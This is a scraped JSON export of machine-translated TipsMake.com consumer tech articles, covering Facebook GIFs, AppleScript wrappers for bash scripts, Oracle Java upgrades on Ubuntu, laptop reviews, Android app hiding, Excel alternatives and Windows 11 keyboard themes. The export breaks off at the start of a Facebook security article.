it either ! After testing many methods, try multiple host upload photos, TipsMake.com found that currently Giphy.com is also allowed to post animations, GIFs on Facebook (somehow that other photo hosts cannot do). All you need to do is get the image URL from Giphy.com (with the * .GIF extension), then post it on your personal page:\nThe URL will look like: https://media.giphy.com/media/8DAlk78XfJoNq/giphy.gif Paste that URL on personal Facebook, Fanpage or Group :   When Facebook loads all the photos, you delete that URL and add Caption. This method is also applicable in the Comment section, but unfortunately only the animation on Giphy \"moves\". Link example on Fanpage TipsMake.com. Hopefully, this approach can help you to be creative while using Facebook.Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqifqMFurc2ipJqslZl6qrnAoJysZZees7R506hkn5mTmq%2Bwu8o%3D\n","link":"/post/how-to-post-animated-images-gifs-to-facebook/","section":"post","tags":null,"title":"How to post animated images, GIFs to Facebook?"},{"body":"Suppose you are a very knowledgeable bash script, like automating tasks for friends and family members who don't know much about technology. Although you gave them a script that completely fixes the problem, they can still worry about using Terminal alone. In this case, you can also help them manually.\nFortunately, AppleScript is a user-friendly programming language that makes it easy to turn scripts into something that is shared and friendly to the GUI.\n\"Transform\" Bash script with AppleScript tool Start with AppleScript! Make the Bash script clickable with AppleScript Command by shell script Reverse the script in Bash Use AppleScript Droplet An example of an AppleScript script Change the permissions of any drag and drop file  Use Automator to automate Mac more Start with AppleScript! AppleScript is a long-standing programming language from the Mac OS version 7. AppleScript is designed as an easy-to-read and easy-to-use language, according to user standards in the 1980s. The main purpose of AppleScript is interaction. with Finder to automate workflows.\nYou can use AppleScript to perform a complex workflow, such as the bash script or modify the priority file and simplify it into a clickable button.\nThe Script Editor tool in the Utilities folder is the AppleScript text editor and IDE, helping you write an AppleScript function. The Help menu bar is an invaluable resource. Please use this menu to view AppleScript language guide information.\nYou can also go to Window\u0026gt; Library to get a list of all AppleScript commands you can use.\nMake the Bash script clickable with AppleScript Bash can help you interact with your Mac, create scripts for almost everything you want to do with your computer.\nNormally, if you want to run the bash script, you must ensure that it has the right to execute. After that, you must open Terminal, navigate to the script path and press Return to run it. However, with AppleScript, you can run bash scripts by double-clicking quickly.\nCommand by shell script Adding bash scripts to AppleScript is a simple process. First, go to Applications\u0026gt; Utilities\u0026gt; Script Editor to open the new AppleScript. Then, select a location for the script after it is completed and click New Document. You will see an empty editing window.\nPrepare the bash script with your favorite macOS text editor or do it right in Script Editor. When ready, add it with the command of the shell script . You can send commands using:\ndo shell script \"Command\"  Add a semicolon ( ; ) to send multiple commands, as follows:\ndo shell script \"Command1; Command 2\"  To refer to the bash script available elsewhere, just use:\ndo shell script \"/path/to/your/script.sh\"  If you want to run a command that requires admin rights, you can put them in AppleScript first, as follows:\ndo shell script \"command\" user name \"USER\" password \"PASSWORD\" with administrator privileges  Click the Play button to run through AppleScript and check for syntax errors. Finally, save AppleScript. In File Format, select Application. This option will allow you to double click to run the script.\nReverse the script in Bash On a side note, what if you want to do the opposite, ie add AppleScript commands to the bash script? The good news is that you can do that too!\nIn the bash script, you can add an osascript command , followed by AppleScript, to add interesting elements such as user input or warning banners.\nUse AppleScript Droplet   Suppose you have a lot of resized images on your Mac to post to a blog or want to sort all files by type. You can write scripts to perform these actions. But a traditional bash script requires you to write the entire path of each file you want to manipulate, when you need to execute that script. Doing that is boring, especially when you have dozens of large files.\nFortunately, you can set AppleScript to only request to drag the target file into it, then run as input. These special AppleScript are called Droplets. Here's how to create a Droplet:\n1. Open a new AppleScript with Script Editor.\n2. Start AppleScript with on open dropped_file . You can call drop_file by whatever name you want. AppleScript will use it as a variable assigned to the file you have dropped.\n3. Complete the rest of the script, use the shell script or the usual AppleScript syntax. Make sure you close the script with end open.\n4. Save AppleScript as an application, as explained above.\nYou can now drag and drop files directly into your script.\nAn example of an AppleScript script   The example below shows both the handy features of AppleScript mentioned above in real-life situations.\nChange the permissions of any drag and drop file Suppose you want to give files, scripts or documents to a friend and want to make sure they don't make it messy. Using this script, you can easily remove the write permissions of any file, turn it into a read-only version.\nKeep in mind that when you drop a file on a Droplet, the path name is read by AppleScript in HFS (Hierarchical File System) format. This format uses colons instead of spaces, so the file on the desktop reads:\nMacintosh HD:Users:jdoe:Desktop:myfile  Bash uses a different path standard called POSIX, so the same bash file read is Macintosh HD / Users / jdoe / Desktop / myfile . The script below converts the file name to the appropriate path standard before changing the permissions on it:\non open dropped_file set bash_path_file to the POSIX path of dropped_file do shell script \"chmod -R -w \" \u0026amp; quoted form of bash_path_file end open  Use Automator to automate Mac more Now that you've grasped the basics of automation, learn more by going to Automator on a Mac. Automator and AppleScript have a lot of similarities. If you're just getting started with scripts and automation, you can see Automator is an easier tool. Instead of an easy-to-read programming language, Automator uses intuitive drag and drop bubbles and an easy-to-learn interface to simplify common tasks.\nHope you are succesful.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqylp7tuwMeeZJuZo516tK%2FRoqetZZmjwbB5wGaapaGToK6juMRmmKmonJ6wosDIqKVmr5mptW6tz6mjnquTp7axwA%3D%3D\n","link":"/post/how-to-turn-the-bash-script-into-a-clickable-application-with-applescript/","section":"post","tags":null,"title":"How to turn the Bash script into a clickable application with AppleScript"},{"body":" This document is intended to assist with the upgrade of the many new release versions of Oracle Java JDK/JRE on Ubuntu Linux. Every so often, due to bug fixes and security issues Oracle releases updates to their version of the Java...\nMethod 1of 4:\n32-bit Oracle Java instructions:  Become root user and copy the new compressed Oracle Java binaries from our download directory to /usr/local/java  Type/Copy/Paste: cd /home/\"your_user_name\"/Downloads Type/Copy/Paste: sudo cp -r jdk-7u40-linux-i586.tar.gz /usr/local/java Type/Copy/Paste: sudo cp -r jre-7u40-linux-i586.tar.gz /usr/local/java Type/Copy/Paste: cd /usr/local/java   Next we are going to unpack our new version of Oracle Java binaries, in the directory /usr/local/java  Type/Copy/Paste: sudo tar xvzf jdk-7u40-linux-i586.tar.gz Type/Copy/Paste: sudo tar xvzf jre-7u40-linux-i586.tar.gz  Method 2of 4:\n64-bit Oracle Java instructions:  Become root user and copy the new compressed Oracle Java binaries from our download directory to /usr/local/java  Type/Copy/Paste: cd /home/\"your_user_name\"/Downloads Type/Copy/Paste: sudo -s cp -r jdk-7u40-linux-x64.tar.gz /usr/local/java Type/Copy/Paste: sudo -s cp -r jre-7u40-linux-x64.tar.gz /usr/local/java Type/Copy/Paste: cd /usr/local/java   Next we are going to unpack our new version of Oracle Java binaries, in the directory /usr/local/java  Type/Copy/Paste: sudo tar xvzf jdk-7u40-linux-x64.tar.gz Type/Copy/Paste: sudo tar xvzf jre-7u40-linux-x64.tar.gz   At this point you should have two new uncompressed binary directories in /usr/local/java for the Java JDK/JRE listed as:jdk1.7.0_40\njre1.7.0_40\nAlong with:\njdk1.7.0_25\njre1.7.0_25\n Method 3of 4:\nModify your Linux system PATH:  Edit the system PATH file /etc/profile and add the following system variables to your system path. Use gedit, nano or any other text editor, as root, and open up /etc/profile Type/Copy/Paste: sudo gedit /etc/profile\nor Type/Copy/Paste: sudo nano /etc/profile   Scroll down using your arrow keys to the end of the file and add the following lines below to the end of your /etc/profile file in Ubuntu Linux,at this point you are going to be changing the version numbers from the old Oracle Java to the new version of Java, you will change the versions numbers in the following system PATH file /etc/profile:Modify the /etc/profile file:\nJAVA_HOME=/usr/local/java/jdk1.7.0_25\nPATH=$PATH:$HOME/bin:$JAVA_HOME/bin\nJRE_HOME=/usr/local/java/jre1.7.0_25\nPATH=$PATH:$HOME/bin:$JRE_HOME/bin\nexport JAVA_HOME\nexport JRE_HOME\nexport PATH\nChange to this:\nJAVA_HOME=/usr/local/java/jdk1.7.0_40\nPATH=$PATH:$HOME/bin:$JAVA_HOME/bin\nJRE_HOME=/usr/local/java/jre1.7.0_40\nPATH=$PATH:$HOME/bin:$JRE_HOME/bin\nexport JAVA_HOME\nexport JRE_HOME\nexport PATH\nSave the file and exit\n  Kareem Winters Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2gnL%2BisMRmpquZk6GybrbAr5hmp55iwqPBza2sZqSZo8K5\n","link":"/post/how-to-upgrade-oracle-java-on-ubuntu-linux/","section":"post","tags":null,"title":"How to Upgrade Oracle Java on Ubuntu Linux"},{"body":"HP Mini 5103 will have the option of SSD, touch screen and Intel Atom N455 or N475 processor.\n  Mini 5103 is more advanced with SSD and touch screen.Photo: Engadget.\nThe world's number one computer maker quietly introduced the legacy version of Mini 5102 with version 5103 on its Italian website. According to Engadget, this model still inherits the \"elder\" style with a 10.1-inch screen with regular or touch screen options.\nThe hardware is also upgraded with an Intel Atom N455 or N475 processor, 2GB of RAM, Intel GMA 3150 graphics chip, up to 320GB hard drive or 128GB SSD. HP Mini 5103 also equipped with other features such as VGA connector, LAN, 3 USB ports, SD card reader, standard Wi-Fi, Bluetooth 2.1 + EDR and 2 Megapixel resolution webcam. The current price for this model on the Italian website is 565 USD. According to Engadget, the next few days this model will be introduced by HP on the US website with detailed photo images.\nncG1vNJzZmismaXArq3KnmWcp51ktbF5y5qsp5uYmrFuwMeeZKahnp56dn2PbGSwoaSderW71JyfZquTp7KmuoyapZ1lo6ixbrDRoq2e\n","link":"/post/hp-launched-the-mini-5103-with-touch-screen-and-ssd-drive/","section":"post","tags":null,"title":"HP launched the Mini 5103 with touch screen and SSD drive"},{"body":"Toshiba Satellite L355 is quite configurable so it can replace bulky desktop systems.\n  Toshiba Satellite L355 bright case, does not save fingerprints. Photo: Atechcomputer .\nToshiba Satellite L355 is designed to be simple, the case is bright, the surface is rough and it does not save fingerprints, contrasting with the black frame and keyboard inside. The device is not equipped with webcams or multimedia keys used when watching music videos. The size of the device is quite compact, width and depth are 396 x 289 mm, about 40 mm thick and weighs nearly 3.2 kg - quite light compared to many in the 17-inch laptop segment.\nSatellite L355 owns a large keyboard with separate number keys. The surface of the keys is rough painted in a sturdy frame. Large keys are comfortable to use for a long time but are quite noisy. The touchpad is also quite large and responsive, measuring 45.7 x 76.2 mm, making it easy for users to move the cursor across the screen. Two separate mouse buttons below the hard side are placed slightly shallow but thanks to their large size, it is not difficult to use. The Satellite L355 is equipped with a 17-inch wide-screen mirror, giving bright colors but limited viewing angles and low contrast. The 1,440 x 900 pixel resolution is also low in comparison to other cameras in the same segment, but it also shows sharp images when watching DVD and is also quite \"smooth\" when watching HD video files online. The system's dual speaker system is placed on both sides, just above the keyboard, giving a medium quality sound, the volume is loud enough when listening to music but is a bit small when listening to movie dialogues. To adjust the volume, the Satellite L355 has a rotating key located on the front edge. One of the main drawbacks of the machine is that there is no built-in webcam, and the communication ports and necessary connections are still complete: 3 USB 2.0 ports, VGA, Ethernet, Wi-Fi video outputs with on / off switch on the front of the phone with the Micro / Headphone audio jack. Next to the 8X DVD burner, and ExpressCard 34/54 expansion slot on the left. Machines without memory card readers have long been a standard feature on most laptop models.\n  Satellite L355 has a large keyboard with separate keys. Photo: Laptopmag .\nThe test machine is the Toshiba Satellite L355-S7915, which is being sold by Wal-Mart online retailer for $ 348. With configuration including Intel Celeron 900 2.2 GHz processor and 3 GB RAM, Satellite L355 performance is only equal to 15 inch CPUs using ULV CPU to save power.\nThe benchmark results with PCMark Vantage rated the overall performance of 2035 points, only 60% of the \"power\" of the desktop replacement laptop in general (3,879 points), but much higher than the ULV laptop Acer Timeline 5810T. 15.6 inches (only 1,368 points).\n  17 inch screen. Photo: Ecomelelectronics .\nNot surprisingly, the device's multitasking performance is very limited. Surf the web with Google Chrome browser, while opening 4 web pages when switching between tabs, there will be a delay of several seconds. However, just watching the DVD and downloading (downloading data) and installing the Google Earth program, the device is still running \"smoothly\".\nOverall the performance of the device is relatively stable. The average data transfer rate on a 250 GB HDD is 13.4 MB / second, and it takes only 54 seconds to boot into Windows even though it runs Windows Vista Home Basic. It is also necessary to specify that Intel Celeron CPU is not the ideal tool for handling \"heavy\" multimedia applications. Satellite L355 takes 12 minutes 33 seconds to transfer a 5-minute video from .mp4 to .avi format with Handbrake software, while the average processing time of 17-inch models is 5 minutes 2 seconds. Satellite L355 uses integrated Intel GMA 4500M graphics card with 3DMark06 test results of 772 points higher than the Aspire Timeline 5810T's 574 points but not comparable to 17-inch laptops replacing desktops or gaming cards High-end graphics have an average score of over 6,000. At 1,024 x 768 resolution, try playing the game Cry 2, Satellite L355 can only export 4 frames per second, while the original resolution is 2 frames / sec. When using Google Earth sometimes the image is still jerky when the map shows details and 3D buildings show up. The included 6-cell battery can remain active for 2 hours and 33 minutes, at the middle of a desktop replacement laptop and of course with the size and weight of the 17-inch machine, not many people use it regularly. leave home. Besides, Satellite L355 is also an environmentally friendly product when reaching 22/27 points - the result of assessing the \"green\" level of electronic products - EPEAT. And the device is also quite effective with a full charging time of 1 hour and 54 minutes, quite fast compared to gaming laptops like Asus G51Vx (requiring 2 hours and 22 minutes to fully charge).\n  Machine edges. Photo: Amazon .\nIn Vietnam, the Satellite L355 series is mostly portable, with many versions with different processor options. Price ranges from 9 to 14 million VND.\nAdvantages \n - Cheap. - Big screen. - Comfortable hard drive capacity. - Implement good basic applications. Defect \n - Missing webcam, memory card reader. - No multimedia keys yet. - Medium quality speaker.\nncG1vNJzZmismaXArq3KnmWcp51kwKLAxKWjoqyVYrl0gZRmqZ6onJawpr%2BMrZ%2BeZZSawKzAzqk%3D\n","link":"/post/satellite-l355-replaces-the-desktop/","section":"post","tags":null,"title":"Satellite L355 replaces the desktop"},{"body":"Galaxy S10 owners can now use the PlayGalaxy Link app to stream games from PC to their mobile phone with just a few simple setup steps.\nAccording to a shared post on SamMobile, version 1.0.5 of the PlayGalaxy Link app has added support for game streaming apps for Galaxy S10e, Galaxy S10, Galaxy S10 + and Galaxy S10. 5G.\nBy using PlayGalaxy Link, you can link your Samsung account on both computer and phone to find and manage games installed on the computer quickly. These games will then appear on your phone, you just need to select one of them to be ready to stream.\n  Games can be streamed through various forms of connectivity, including 4G, 5G and WiFi. You can stream games wherever WiFi is or while on the go using a 4G / 5G connection. However, these are all paid services, so pay attention to your data consumption and choose the most economical form of connection. If you don't own the Galaxy Note 10 or S10, or the PlayGalaxy Link app isn't available on your mobile device, you can still stream games thanks to a game streaming service called Parsec. Just download the app at the link below then follow the instructions, the process is extremely simple and only takes a few minutes.\nBasically, PlayGalaxy Link and Parsec are the two platforms that share many similarities, so the experience on both applications is not much different. Wish you happy gaming!\nLink to download Parsec: https://parsecgaming.com/ Link to download PlayGalaxy Link: https://playgalaxy.com/download ncG1vNJzZmismaXArq3KnmWcp51kwamxjKCYpZmornq0fY9mmpqmXaO8uHnSramemZ1itKK5xKxknaGimrC1uNhmnaunnWLBqbGMqZo%3D\n","link":"/post/the-galaxy-s10-can-now-stream-games-directly-from-the-pc/","section":"post","tags":null,"title":"The Galaxy S10 can now stream games directly from the PC"},{"body":"Comparing documents together is a little-known feature of Microsoft Word 2010 but is really handy for everyone, especially for those who work with multiple documents. Sometimes you accidentally save the document under different names and variants, when you go back to open the old document, you find some versions of it while you only need one fully documented document. Compare them to get a single document. Or sometimes many people edit on one document and want to combine it into one complete document. That's when the comparison feature works.\nThe document comparison feature is easy to use, to start, click the Review tab in the main ribbon, then click the Compare icon:\n  You will receive a drop down menu as follows:\n  Select Compare . a window will open:\n  Click the arrow in the Original document section to select the original document, do the same for the modified document in Revised document . When the name of the two documents is selected, the box will appear. Two-way arrow button is used to change the role of original documents and modified documents. You can tick or unmark the box to set comparison options but it's better to leave the default. Click OK to get the result:\n  Results are displayed in the full Word screen in 4 small windows, we will learn the function of each window. On the left is the Summary window that summarizes the changes between the two documents. Next, the window in the center of the screen displays the document containing both original and edited information. Finally, on the right are 2 windows showing copies of the original and modified documents.\nYou can see clearly the middle and right windows:\n  Here you can see the red letters are new modifications, while the dashed letters indicate that they have been corrected.\nAlso, notice the Tracking feature in the Review tab that is turned on when you use Compare mode:\n  This means that you can use this option when comparing documents. For example, if you click on Track Changes , then Change Tracking Options , you will get the following pop-up window:\n  The purpose of these options is to allow you to define attributes of changes that Word registers when comparing two documents.\nYou can also adjust how Word displays changes in documents, for example you want them to be displayed as \" bubbles \", click Show Markup , point to Balloons and then Show Revisions in Balloons :\n  Here are the results:\n  In addition, under Change :\n  You can click on the Previous or Next button to move back and forth changes in the document and then click Accept to accept or Reject to deny changes at each step every time you move. Once you have edited it, you just need to save the document in the normal way to export the most complete product.\nncG1vNJzZmismaXArq3KnmWcp51kwrSxjJ2mnK2dmru1ecKopKmZop7AsLqMn5yarKWnsm61zWauqKqUYn9xfY8%3D\n","link":"/post/use-document-comparison-feature-in-word-2010/","section":"post","tags":null,"title":"Use document comparison feature in Word 2010"},{"body":"In mid-October, Yahoo announced that it would encrypt their webmail service. And today, CEO Marissa Mayer of the company added that not only Yahoo Mail, all products and other user data will also be encrypted.\nThe time that Yahoo will complete this work is the end of the first quarter of 2014. In a Yahoo post on Tumblr, Mayer pointed out three strategies that the company will apply to protect data for their users, include:\nEncrypt all data stored in its data centers, before the first quarter of 2014. Provide users with the option to encrypt all data streams to / from Yahoo, also before the first quarter of 2014. Collaborate closely with Yahoo's international Mail partners so that brand-shared Mail accounts with Yahoo will apply the https protocol.   This policy somewhat helps users feel more secure in the process of use, especially when in recent times, a series of reports show that agencies like NSA want to \" rummage \" user data from the giants. Internet giants such as Yahoo, Google, Facebook . Long ago, CEO Mayer also stressed that Yahoo never allowed NSA or any government agency to access their data center.\nncG1vNJzZmismaXArq3KnmWcp51kxqK0zqhkqaqfora0sdJmqp6bpae2tcWMn6arZaWosrN5w5qrmg%3D%3D\n","link":"/post/yahoo-promises-security-for-user-data/","section":"post","tags":null,"title":"Yahoo promises security for user data"},{"body":"It's easy to get distracted by so many apps on your phone. The best way to reduce the 'gluing' time to your screen is to get these apps out of your sight. Also, if you're a parent, you don't want your kids to have access to all apps, especially sensitive things like banking apps.\nFortunately, you can hide and restrict apps on Android. Here's how to do this, whether you want to hide the app from yourself, others, or children.\nHow to hide or restrict apps on Android? How to hide apps on Android 1. Calculator Vault 2. Google Family Link  How to restrict apps on Android 1. Digital Wellbeing 2. Google Family Link and restrictions of Google Play Store  How to hide apps on Android There are some situations in which you want to hide a specific application on your phone.\nFor example, parents may want to make sure their children don't accidentally place orders through saved credit card details. You can also hide apps from nosy people, sneak through your personal chats, and send silly feedback.\nIn addition, hiding addictive apps like Instagram can help you curb your smartphone addiction. Since you don't need to completely uninstall them from your phone, you can always use them whenever you want.\n1. Calculator Vault This handy tool can disguise any application on your phone as a standard computer utility.\nThe Vault Calculator copies the application you want to hide in its own space. Once you've added the app here, you don't need to uninstall it from your phone. Although the application in question will no longer be available anywhere else on your phone, you can continue to access it from Calculator Vault.\nThe application allows you to protect it with a password. Its lock screen is like a computer to deceive unauthorized users. But when you enter the PIN on the numeric keypad or scan the fingerprint, the application will unlock and reveal its true function. In addition, Calculator Vault also has other features to help it easily 'integrate' with other applications on the phone. Its symbol and name are like a normal computer application.\nThere is also a setting that keeps Calculator Vault from showing up in the multitasking menu. For notifications, you can ask Calculator Vault to only display the number of pending notifications instead of their content or you can turn them off completely.\nDownload the Vault Calculator (Free). 2. Google Family Link Google Family Link is a great mobile monitoring tool for parents. It allows you to monitor and control your child Android device.\nWith Family Link, you can remotely hide apps on your kid's phone. All you need to do is select the applications you want to hide. After that, Family Link will automatically 'remove' them without uninstalling the application.\nIn addition, Family Link gives you the ability to track the activities on your child's phone, as well as the apps they are spending time with. The app even allows you to set restrictions, download approvals and in-app purchases, and remotely lock your phone. A location tracking feature is also available, letting you know the current location of the connected phone.\nIf you're not happy with the Google Family Link feature set, check out other parental control apps on Android.\nDownload Google Family Link (Free). How to restrict apps on Android The process of hiding apps may make you feel a bit extreme, depending on your usage. Instead, you can impose restrictions on the application. That allows you (or your children) to partially satisfy your passion for the application.\nYou can restrict specific applications or select the length of time you are not allowed to use your phone.\n1. Digital Wellbeing Since Android 9 Pie, phones running Android have an integrated utility that records daily device usage and tells you exactly what is taking your time. This utility is available at Settings\u0026gt; Digital Wellbeing \u0026amp; parental controls . In case you cannot find it, you will need to download the application from Google Play.\nWith Digital Wellbeing, you can set application limits. When the application time of the day is over, its icon will be grayed out and you cannot open it. Android will also block app notifications, so you won't be tempted to see an unread message or comment.\nTo configure application limits, launch Digital Wellbeing. Click on Dashboard, then select the app you want to limit. Click on the App Timer option and specify the amount of time for your daily use of the application. Finally, click the OK button .\nIf your phone doesn't officially support Digital Wellbeing, you can use third-party alternatives, such as ActionDash.\nActionDash has all the features of Digital Wellbeing and more. It provides insights into your phone usage time, a dark theme, application limits and a host of other customization options. Unlike Digital Wellbeing, ActionDash works on all phones running Android 5 Lollipop and above.\nAlthough ActionDash is a free download, both the application limits and downtime mode are advanced features, requiring you to pay a cost of $ 7 (VND 161,000).\nDownload Digital Wellbeing (Free). Download ActionDash (Free, premium version available). 2. Google Family Link and restrictions of Google Play Store In addition to allowing you to hide apps, Google Family Link also has the option to set an application limit. This application works similar to Digital Wellbeing. Therefore, once a user runs out of their daily limit, they will not be able to use the app until the next day. The difference is that only parents have the ability to control and adjust the restrictions.\nTo learn how to set this feature and set application limits, see TipsMake.com 's guide to protecting children's phones with Family Link.\nParents can also take advantage of parental controls on the Google Play Store to set download restrictions. You can choose the content rating for apps, games, movies and music. Along with that, Play Store requires you to configure a PIN lock so that children can not refine the restrictions simply from the settings.\nYou can find parental control settings at Google Play Store\u0026gt; Left menu\u0026gt; Settings\u0026gt; Parental Controls . Google Play rates games and apps using a rating system specific to your region, so check out TipsMake.com 's guide on how to rate ESRB and PEGI to learn more.\nAddictive apps are the reason it's so hard to put your phone down. Using the above methods, you can hide and restrict applications that take up most of your time.\nHowever, there are many things you can do to limit smartphone addiction. You don't have to give up everything to make a positive change. 5 ways to reduce 'smartphone addiction' are practical tips to help you cut down on smartphone usage.\nHope you are succesful.\nncG1vNJzZmismaXArq3KnmWcp51kgW60yJ2bnqZdorK1tM6dqmaZnpl6orzPpaCcmaSevK950Z6qraqZmMGqu82sZKimXZa7pb7Oops%3D\n","link":"/post/4-hidden-methods-and-application-restrictions-on-android/","section":"post","tags":null,"title":"4 hidden methods and application restrictions on Android"},{"body":"The hunt for the best Excel alternative has never cooled down. Microsoft Excel has always been the number one name in the field of spreadsheet processing. But there are a few problems with Microsoft Excel and the biggest problem is price. An independent copy of this software costs up to $ 129.99 (about 3,000,000 VND). And if you use Excel with Microsoft Office, the cost is $ 69.99 (VND 1,500,000) per year!\nThankfully, there are some alternative spreadsheet software available for free, performing the same functions as Excel.\nTop alternative tools for Microsoft Excel 1. Google Sheets 2. Zoho Sheets 3. Libre Calc 4. Free Office PlanMaker 5. WPS Office Spreadsheets 1. Google Sheets   Google Sheets is Google's response to Microsoft Excel software. Interestingly, you don't need special registration to use Google Sheets. If you have a Google account, you can access and use this software.\nGoogle spreadsheets are hosted on the cloud platform but also have offline applications for both PC and mobile platforms. This feature means you can access your sheet anywhere and on any platform.\nGoogle Sheets is essentially an effective collaboration tool. You can edit and review spreadsheets in real time with other team members. Google Sheets also allows writing additional Javascript code to expand its capabilities. Connecting to the web API is also very easy. This feature allows to retrieve data and information from websites directly.\nWith a rich user interface and powerful Excel data functions like the pivot table and data visualization, you should consider switching to an Excel alternative. This strong.\n2. Zoho Sheets   This is another cloud-based alternative to Excel, built and managed by the 'giant' of business software solutions - Zoho. At the core, Zoho Sheets is built on the Zoho Customer Relationship Management (CRM) software solutions - Customer Relationship Management.\nZoho Sheets allows you to freely switch between different spreadsheet extensions, such as .xls, .csv .xlsx and .ods. Therefore, you don't have to worry about data compatibility anymore.\nAlthough there is a simple interface, the Excel functions of Zoho Sheets, such as pivot tables, charts and data visualization, are truly formidable. All of these features are at the same level as Excel.\nIn addition, if you are a young entrepreneur, want to save money, Zoho Sheets will be the best tool for you. Application Zoho Excel seamlessly integrates with CRM and free solutions for groups of up to 25 people. Zoho Sheets deserves one of the best alternatives for Excel.\n3. Libre Calc   Libre Calc is spreadsheet software in LibreOffice suite. This suite of software is considered one of the best Excel alternatives thanks to its large and active community.\nLibre Calc is completely open source. New features are always added and bug fixes in regular releases. It is not uncommon for most Linux distributions to choose Libre Calc as the default spreadsheet application.\nHowever, this software is a function based application. Therefore, Libre Calc does not have a nice data visualization feature like Excel. But this tool is extremely powerful, as it also supports all document formats as well as Excel Macro. Libre Calc supports extensions and programming in all major languages, such as C ++, Java, CLI, Python and LibreOffice Basic.\nIt should be noted that Libre Calc is a cross-platform application that is compatible with programs written for Linux, Windows and macOS. Cloud support is now available, so collaboration issues are also resolved.\n4. Free Office PlanMaker   If you want an elegant and stylish spreadsheet, look to PlanMaker.\nThe developers of Free Office PlanMaker call this tool the most effective Excel alternative available for free.\nAnother impressive feature is a series of beautiful templates to display data in 2D as well as 3D. Free Office PlanMaker boasts seamless compatibility with Excel 2016 and also provides essential functions like pivot tables and formulas.\nPlanMaker comes with more than 350 preconfigured formulas for math functions. This alone is enough to make PlanMaker highly valued compared to other competitors in this list. Supported platforms are Windows and Linux.\n5. WPS Office Spreadsheets   WPS Office Spreadsheets supports all known sheet formats and perfectly integrates with all previous Excel documents. In addition to regular formulas, tables, and lists, this tool also supports pivot tables and advanced data modeling.\nWPS Office Spreadsheets' data visualization feature is also top notch. WPS Office Spreadsheets is available on Windows, Mac, Linux, iOS and Android. This is also an effective collaboration tool with support for a full-featured cloud service. WPS Office Spreadsheets is a valuable option in the list of the best Excel replacement tools.\nThe battle to find the best Excel replacement tool is not a one-time thing but can be solved. Personal interests also play a significant role because no solution is perfect. If you're looking for the best Excel alternatives available, try one of the options in the list above.\nWish you find the right choice!\nncG1vNJzZmismaXArq3KnmWcp51kgm6uxKyrZpmcqbKzusCtoK%2Bdo2KzsL6MpqCcqp%2BovKfAjJ6vnJ2c\n","link":"/post/5-best-alternatives-for-microsoft-excel/","section":"post","tags":null,"title":"5 best alternatives for Microsoft Excel"},{"body":"Toilets in crowded public places are often designed close to each other and the toilet door always has space below. Why is that? Everything has its cause, let's find out!\nHow to clean the body of ancient Egypt Should you throw toilet paper into the toilet or trash? In your opinion, should you clean or wash after going \"bowel\"? The answer will startle you 1. Avoid \"oversleeping\" in the toilet\nWith tight toilets, separate from the noisy space outside, people tend to sit longer, even take advantage of face surfing, 'trafficking' . in it.\nIn crowded places, this will increase the overload of toilets. Therefore, it is designed to have a toilet door with a space below so that users know there are people waiting outside and proceed to 'resolve' more quickly.\n2. \"Rescue\" when paper is out\nThe end of the paper while going to the toilet is a bad situation that many people encounter. Then, the space below the door or toilet wall will work, you can ask the person beside or outside to transfer the paper to help.\n  3. Unpleasant smell does not haunt the room\nIt will be 'extreme' when you enter the bathroom and the smell of others is still \"concentrated\" in it. Therefore, people have installed the toilet door with the space below so that the odor escapes faster, not haunting in the room.\n4. In case of an emergency\nIn emergency situations like fire, door jam . the gap below the door will make it easier for you to escape.\nOr if unfortunately there are people in distress inside, outsiders can easily detect and help in time.\n5. Cost savings\nObviously, installing a short door will save more cost and effort than the long door. In addition, the short doors will reduce the scratching of the floor or the bottom corner of the door by pulling it in and out many times.\n  6. Prevent negative behaviors\nMany people often use the toilet to carry out negative behaviors such as 'doing it', fighting, smoking, using drugs . The space below the door will help the bathroom less separate. private and prevent those behaviors.\n7. Check availability\nThe door is closed, you are confused whether this toilet room is available or not. Just lean over and look through the gap, you will get the answer right away.\n  8. Easier cleaning\nEmpty slots under the door will make the toilet's water easier to escape, avoiding slippery floors, and easy cleaning.\nSee also: When going to a public toilet, you should choose this room because it is \"clean\"\nncG1vNJzZmismaXArq3KnmWcp51ktaa%2BxGaYq51dbXqzscCspqerXay1unnToZxmqKWXuaqvjK2moqSVqXqlu86rZJqkp5bGtHnHmqpmq6CWsKZ5wK1kraCVYq%2BwwNOopA%3D%3D\n","link":"/post/here-are-8-reasons-why-the-public-toilet-door-always-has-space-at-the-bottom/","section":"post","tags":null,"title":"Here are 8 reasons why the public toilet door always has space at the bottom"},{"body":"Similar to previous versions of Windows, Windows 11 still supports the virtual keyboard (touch keyboard) feature. This feature allows users to easily enter data on the touch screen, or use it as an alternative to a regular physical keyboard when needed.\nIf you regularly use Windows virtual keys, you can make your experience new and more interesting by changing the theme and background color of the keyboard, giving it a fresh, colorful appearance.\nChange the Windows 11 virtual keyboard theme In general, changing the virtual key background color on Windows 11 is not complicated.\nFirst, open the Windows Settings application by pressing the Windows + i key combination . Or, you can right-click the Start button in the bottom left corner of the screen and select ' Settings ' from the menu that appears.\n  In the Settings window, click on ' Personalization ' in the list on the left, then look to the right and select ' Touch Keyboard '.\n  In the touch keyboard settings interface, click ' Keyboard Theme ' to expand the theme menu.\n  You will now see a list of a bunch of different keyboard themes you can choose from. They range from simple, colorful to youthful, playful. Choose a theme that you like and click on it.\n  Next, you can check out the look and feel of the new theme by tapping the touch keyboard icon on the taskbar or going to Personalization \u0026gt; Touch Keyboard and tapping the ' Show Keyboard ' button .\n  So your keyboard has a new theme. Alternatively, you can also set a custom color on the touch pad. Do this by clicking ' Custom ' from the theme list, then ' Edit '.\n  On the Custom Theme edit screen, you can choose a custom color for the text on the keyboard, the text on the keys, and the outline of the keyboard window. You can even use your custom image file as the background for the keyboard window.\nUse the tabs directly below ' Theme Preview ' to switch between these while editing, then choose the color options you want. When you're done, click ' Save '.\n  Now, close Settings and enjoy your new virtual keyboard experience!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYlruosYytn55lpJ2yrrGMmqWdZZKWsKyz0aisp5xdmLytu9Fmpp9lpJ2ybsPIp5uor6NifnJ51aKpra2RoXqssdibppqqlA%3D%3D\n","link":"/post/how-to-change-the-theme-and-background-color-of-the-windows-11-virtual-keyboard/","section":"post","tags":null,"title":"How to change the theme and background color of the Windows 11 virtual keyboard"},{"body":"For Facebook accounts, the security is very important because if not careful, it is easy for Facebook accounts to be hacked and used for malicious purposes. However, if you are concerned about security, it will never happen because Facebook 